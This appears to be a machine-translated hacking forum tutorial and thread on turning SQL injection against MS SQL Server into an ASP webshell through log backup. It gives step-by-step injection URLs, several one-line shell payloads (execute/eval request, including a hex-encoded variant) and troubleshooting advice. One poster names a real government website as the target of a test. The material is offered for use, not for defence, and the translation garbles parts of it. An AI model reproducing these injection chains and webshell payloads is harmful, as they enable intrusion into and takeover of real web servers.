When SQL injection is used to obtain the database permission, you can do a lot of work next, such as looking for the administrator password and background management, to help you get WEBSHELL, but this article is about log backup, the pony backed up by LOG is small in size and the backup is successful. Therefore, it is my first test method for database permissions.
However, in LOG backup, we often encounter some headaches, that is, the closure problem. Here I will make a summary
So that we can have a comprehensive understanding of methods that cannot be closed.
1. first, I will introduce LOG backup. I believe everyone is familiar with this. I am still used to submitting logs directly in IE. If I return to the normal page, I will say that this step is successful, if no normal page is returned, we can find the cause based on the error returned by IE. (here, I want to open the IE error prompt.) The LOG format is as follows:
Http://www.site.com/xx.asp? Id = xxx; alter database databasename set RECOVERY FULL
Http://www.site.com/xx.asp? Id = xxx; create table cmd (a image )--
Http://www.site.com/xx.asp? Id = xxx; backup log databasename to disk = c: cmd with init
Http://www.site.com/xx.asp? Id = xxx; insert into cmd (a) values (<% 25 Execute (request ("go") %
% 25> )--
Http://www.site.com/xx.asp? Id = xxx; backup log databasename to disk = x: xxxxxxasp1.asp --
Http://www.site.com/xx.asp? Id = xxx; drop table cmd --
It can be divided into six steps. The most error-prone operation is the operation in step 1, which often returns the problem of no closure. Below are some of the following:
The content in values can be changed. If one of our methods does not work, we can change the other method.
After all the changes, there is nothing to say, either give up, or another way to continue, you want to find the database to download the column directory, the background.
I won't say much about it. You can mention the following content:
A). <% 25 Execute (request ("go") % 25>
B). <% Execute (request ("go") %>
C). %> <% execute request ("go") %> <%
D). <script language = VBScript runat = server> execute request ("sb") </Script>
E). <% 25 Execute (request ("l") % 25>
2. Notes for LOG backup:
A) Check whether your current machine is a WEB host. The simple method is to view its directory and check whether there are any IIS installation files.
B ). when you are sure that you are looking for the web host, you can find the website directory. This is also very important. It is the operation in step 5. If you back up to an error directory, of course there is no way to access
C) after the backup is successful, you can try to connect to the client. Someone may make a mistake in this place. The field used now is go.
The related fields are also go
D). If you use ececute for normal backup, an error is prompted. When you Display Error 500, open the IE error prompt.
Microsoft VBScript runtime error 800a000d
Type Mismatch: execute
It indicates that you have succeeded. connect to it !!
E). In extreme cases, the words you backed up are killed (when you confirm that you actually backed up the words in the corresponding directory of the WEB host), you can
The value in the VALUES field above is case-insensitive ..
3. Because this article uses many things of our predecessors and does not dare to say it is original, it can only be regarded as a discussion. I will put what I know in the future
Update them one by one in days... Thank you !!
4. Thanks to the predecessors for proposing such a good method. Otherwise, this article will not be available ..
........................................................................................................................
I encountered some problems when testing log backup to obtain WEBSEHLL. First of all, let's talk about the differences between log backup and differential backup. (if it is incorrect or imperfect, please point out and supplement it ). The WEBSHELL file backed up by LOG is small, greatly increasing the success rate. This avoids the failure of backing up special characters in the database. Today, the test failed, and there was no such thing as a Trojan in the backup. If the function is lost, it makes no sense. Submit to discuss the error.
Because it is an issue discussion. The actual address is used. Do not destroy it!
Here is my statement:
; Alter database dweb set recovery full --
; Create table cmd (a image )--
; Backup log dweb to disk = c: Sammy with init --
; Insert into cmd (a) values (0x3c256576616c20450571756573742822732229253e )--
; Backup log dweb to disk = d: chens2.asp --
Backup result
Http://www.gzii.gov.cn/s2.asp
The hexadecimal format is backed up!
Use the following statement again!
; Drop table [cmd] --
; Alter database dweb set recovery full --
; Create table cmd (a image )--
; Backup log dweb to disk = c: Sammy with init --
; Insert into cmd (a) values (<% eval request ("s") %> )--
; Backup log dweb to disk = d: chensssjjk. asp --
If
Http://www.gzii.gov.cn/sssjjk.asp
Why does the LOG backup fail?
The reason is that the data table is not written to the database you backed up. As a result, the backup ASP file is not written into the trojan we want. Please add the database name to the statements related to the data table operation, for example: create table dweb. dbo. [cmd] (a image) -- and then execute the backup statement.
You can change the horse to "<% 25 Execute (request (" s ") % 25> ..
Note: Add. % 25
The problem has been solved. Replace the statement!
; Insert into cmd (a) values (<% 25 eval request ("s") % 25> )--
Yes! Thank you!
; Insert into cmd (a) values (0x3c256576616c20450571756573742822732229253e )--
Write the string "0x3c256576616c20109571756573742822732229253e" to the file instead of a Trojan.
Just remove the single quotes.
Insert into cmd (a) values (0x3c256576616c20450571756573742822732229253e )--
........................................................................................................................
The Blog has been infiltrated for a moment. I don't know if you have lost anything. It turns out that a blog directory can be listed. At that time, I dropped a small item, and someone told me today that NBSI 3 used the method of that item ...... Haha, it's a bit dizzy. The success rate is still very high. You can try it. Well, it's okay to stream the method out. Keep the article.
It is not difficult for dbowner to get a shell through injection. Even if Incremental backup is used, there are still many uncertain factors. If someone else has written wrong information before, the backup may still result in some unusable 500 errors. How can we improve the success rate and reusability? If the Incremental backup method is adjusted separately, although it can achieve some results, the method is complicated and the effect is not obvious. In addition, considering reusability, such as the success rate of multiple backups, the backup database method is not very suitable. Another backup method is described here. Export the log file to the web directory to obtain the shell.
You need to take a sip of food and solve technical problems one by one. To get webshell, you must first know the physical path before talking about other things. There are many ways to expose the physical path, and the injection can also be achieved. This has been done by nbsi2. It is worth noting that if the database is separated from the web, the webshell will certainly not be available, and the backup can overwrite any file. Some Ideas about the Start Menu are still effective, just pay attention to the extension. If the database and the web are on the same side, you will have a chance. On the contrary, you should try other methods.
Then you need to get the current permission and database name. If it is sysadmin, of course there is no need to do complicated things, dbowner is enough, and public is not enough. The name of the currently opened database can be obtained using a db_name (), which is also very simple.
By default, the fault recovery type of the selected database is generally simple, and log files cannot be backed up at this time. However, we are all dbowner. What else can't be done? You just need to modify the attributes. Because it cannot be modified in the Enterprise Manager, it is very easy to use only one SQL statement, so you can:
Alter database XXXX set RECOVERY FULL
XXXX is the name of the database you get, and logs can be backed up after execution. This change is destructive, because you do not know what the previous fault recovery mode is, and careful administrators may have to worry about it. If you can get the database status before, you 'd better change the database attribute back after the backup.
The rest is how to let the database record your data in the most primitive way. This corresponds to the problem of setting the table name "image" in backup database. If you only create a table like this, the records in the log are still recorded in a loose format, that is, <%> has no effect. Through the actual test, we found that the record can still be recorded in a similar way as backup database, as shown below:
Create table cmd (a image)
Insert into cmd (a) values ('')
Backup log XXXX to disk = 'C: xxx2.asp'
Now you have a webshell.
Is it all done here? No. Let's continue.
Here there are two branch directions. The first one is too easy to write because single quotes are not displayed during injection. The second one is to reduce the length of the webshell and improve the success rate. The following method is used to discuss the problem of the second branch, which is also applicable to the reduction of backup database.
First, initialize the log.
Backup log XXXX to disk = 'C: caonima 'with init
This is a bit similar to the first step of Incremental backup, but it is a bit different that after you have done this, the available shell you have backed up is fixed. This is important, because with this step, no matter what the Administrator has done in the database to disturb your back database, or how many bastards you have (you will definitely think so) it doesn't matter if you get something you don't like. Even after you do it, others will follow your